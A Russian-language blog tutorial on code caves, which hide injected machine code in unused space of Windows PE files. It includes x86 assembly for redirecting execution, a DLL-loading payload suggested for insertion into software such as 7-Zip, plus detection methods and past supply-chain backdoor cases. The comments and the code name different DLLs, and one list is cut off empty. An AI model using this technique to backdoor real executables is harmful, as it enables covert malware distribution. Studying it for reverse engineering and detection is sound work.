Code Cave — искусство внедрения кода в исполняемые модули

Code Cave — искусство внедрения кода в исполняемые модули

Дата публикации: 23 January 2026

Code cave (букв. «пещера кода») — это участок неиспользуемого пространства внутри исполняемого файла (например, PE, ELF, Mach-O), который может быть применён для внедрения дополнительного машинного кода без изменения размеров или структуры основного бинарного образа.

Данная техника интересна своей сложностью, а так же если не проверять хэши, то она делает очень незаметной установку payload.

Устройство PE-файла, для понимания статьи в шапке статьи.

1. Принцип работы Code Cave

1.1. Где берётся свободное место

В большинстве скомпилированных бинарных файлов существуют неиспользуемые участки памяти:

  • Выравнивание секций (alignment padding) — например, между .text и .rdata;
  • Незаполненные байты после компиляции (часто нули или 0xCCINT 3);
  • Резервные секции, оставленные компилятором или линковщиком.

Эти «пустоты» можно использовать для внедрения дополнительного машинного кода.

1.2. Логика внедрения

  1. Поиск свободного участка достаточного размера (например, с помощью PE-bear, x64dbgи др.).

  2. Вставка пользовательского кода (машинные инструкции, shellcode или даже мини-функция).

  3. Перенаправление управления (обычно через инструкцию JMP или CALL) с оригинального кода в новую «пещеру».

  4. Возврат обратно к исходному потоку выполнения.

2. Технический пример (x86, PE-файл Windows)

Предположим, у нас есть участок оригинального кода:

00401000  mov eax, [ebp+8]
00401003  add eax, 4
00401006  mov [ebp-4], eax 
00401009  ret

Внутри секции .text найден свободный участок по адресу 00408000, длиной 50 байт.
Мы вставляем туда свой код:

; --- Наш код в Code Cave --- 
00408000  pushad   ; сохраняем регистры
00408001  pushfd
00408002  call MessageBoxA         ; демонстрация — вызываем окно
00408007  popfd 
00408008  popad
00408009  jmp 00401009             ; возвращаемся к оригинальному коду

Теперь в оригинальном коде по адресу 00401000 ставится переход: 00401000 jmp 00408000 00401005 nop 00401006 nop

Результат: программа выполняет наш код перед возвратом к нормальной логике.

3. Типичные применения Code Cave

Область примененияЦель
Reverse EngineeringИзменение логики программы, внедрение трассировки
Игровые модификации (game hacking)Вставка функций без пересборки EXE
Тестирование антивирусов и DRM-системАнализ устойчивости к внедрению
Пентест и эксплуатация уязвимостейРазработка и проверка «payload» без изменения структуры файла
Обучение реверсу и архитектуре CPUПрактическое понимание памяти и PE-структур

4. Методы обнаружения Code Cave

Для защиты ПО важно уметь детектировать внедрённые caves.
Основные методы:

  • Проверка контрольных сумм секций (MD5, SHA-1);
  • Анализ размера и энтропии секций (pefile, lief);
  • Обнаружение неиспользуемого, но исполняемого пространства;
  • Сканирование JMP и CALL на «нестандартные» адреса(К примеру в конце функции .text).

5. Современные ограничения и противодействие

Современные компиляторы и загрузчики систем применяют:

  • Address Space Layout Randomization (ASLR) — рандомизация базовых адресов;
  • Code Integrity Checking / PatchGuard в Windows;
  • Control Flow Guard (CFG) — защита от неразрешённых переходов;
  • DEP (Data Execution Prevention) — запрет исполнения данных.

6. пример asm payload, с загрузкой dll из C:\temp\example.dll

BITS 32

; ---------- Начало payload (поместить в code cave) ----------
start:
    pushad
    pushfd

    ; получить EIP -> esi
    call get_eip
    get_eip:
    pop esi

    ; --- Вызвать LoadLibraryA(dllPath) ---
    ; Загрузка DLL через IAT: call dword [IAT_LoadLibraryA]
    ; Подготовим адрес строки dllPath (относительно get_eip)
    lea eax, [esi + dllPath - get_eip]   ; eax -> pointer to "C:\temp\plugin.dll"
    push eax       ; LPCSTR lpLibFileName
    ; В примере считаем, что в IAT есть запись с адресом LoadLibraryA по адресу 0x404020
    mov edx, 0x404020
    call dword [edx]     ; HMODULE = LoadLibraryA(dllPath)
    mov ebx, eax         ; ebx = hModule
    test ebx, ebx
    jz done_no_load      ; если не удалось загрузить — пропустить вызов функции

    ; --- Вызвать GetProcAddress(hModule, "PluginEntry") ---
    lea eax, [esi + funcName - get_eip]
    push eax            ; LPCSTR lpProcName
    push ebx            ; HMODULE
    ; В примере считаем, что в IAT есть запись GetProcAddress по адресу 0x404024
    mov edx, 0x404024
    call dword [edx]    ; returns FARPROC -> eax
    test eax, eax
    jz done_no_proc

    ; --- Вызвать найденную функцию (предполагаем void __cdecl PluginEntry(void)) ---
    push 0              ; если функция ожидает параметры — положите их тут (пример: нет аргументов)
    call eax            ; вызвать экспортированную функцию

done_no_proc:
done_no_load:
    popfd
    popad
	
	; вернуть управление в оригинальный поток (меняйте на ваш адрес возврата)
    jmp 0x401009

; --- данные (строки) ---
;строки расположены рядом с кодом — обращение через call/pop расчет выше
dllPath:
  ``  db 'C:\temp\plugin.dll',0
funcName:
  ``  db 'PluginEntry',0
; ---------- Конец payload ----------

Все адреса памяти примерны и условны. Просто пример написанного payload, который можно засунуть к примеру в 7zip.

7.Примеры code cave из жизни:

1) CCleaner (2017) — массовая поставка легитимного инсталлятора с бэкдором

Что произошло. Злоумышленники скомпрометировали инфраструктуру дистрибуции/сборки Piriform/CCleaner и подменили релизную сборку — в официально подписанный установщик был добавлен загрузчик/бэкдор (в дальнейшем использовался ShadowPad / дополнительные модули для целевой компрометации). Это — классический supply-chain backdoor: легитимный удобный файл стал носителем дополнительного (встроенного) вредоносного кода.

Чем это похоже на code cave. В практиках backdooring PE-файлов злоумышленники часто:


2) ShadowPad / NetSarang (2017) — скрытый бэкдор в серверном ПО

Что произошло. В 2017 году в дистрибутивы NetSarang была внедрена библиотека/бэкдор («ShadowPad»), который позволял загружать дополнительные модули и выполнять произвольные команды. Это — ещё один supply-chain сценарий, когда легитимное ПО распространялось с тайно встроенным бекдором.

APT Kaspersky Securelist+1


3) Operation ShadowHammer (ASUS Live Update, 2018) — модификация обновлятора

Что произошло. Злоумышленники скомпрометировали процесс обновлений ASUS Live Update и распространили подписанный (или выглядящий легитимным) инсталлятор/апдейт с добавленным бекдором. Это позволило установить вредоносный код на миллионы устройств или, по таргетированию, на подмножество.


4) Исследовательские и академические работы: code-cave как метод обхода детекторов (2019–2024)

Что показали исследования. В последние годы появилось несколько работ, которые формализуют использование «code cave insertion» для:

  • сохранения функциональности бинаря и одновременной вставки «адверсариального» содержимого для обмана ML-детекторов;
  • автоматической оптимизации содержимого caves (так, чтобы ML-классификаторы не помечали файл как вредоносный). Эти исследования демонстрируют, что вставка данных/кода в незанятые области PE может значительно повысить шансы ускользнуть от автоматических эвристик/ML-моделей.

Почему это важно. Даже если злоумышленник не хочет выполнять код напрямую из cave (например, использует cave как «наклейку» байтов для изменения признаков файла), это даёт эффективный путь для evade (обмана) современных детекторов.

8. Заключение

Code Cave — это одно из классических и элегантных решений низкоуровневого вмешательства в бинарные образы.
Понимание механики “пещеры” — ключ к глубокому пониманию структуры исполняемых файлов, загрузки кода в память и методов защиты от инъекций.

Если вам интересно почитать ещё классный контент, то приглашаю в свой Telegram канал @poxek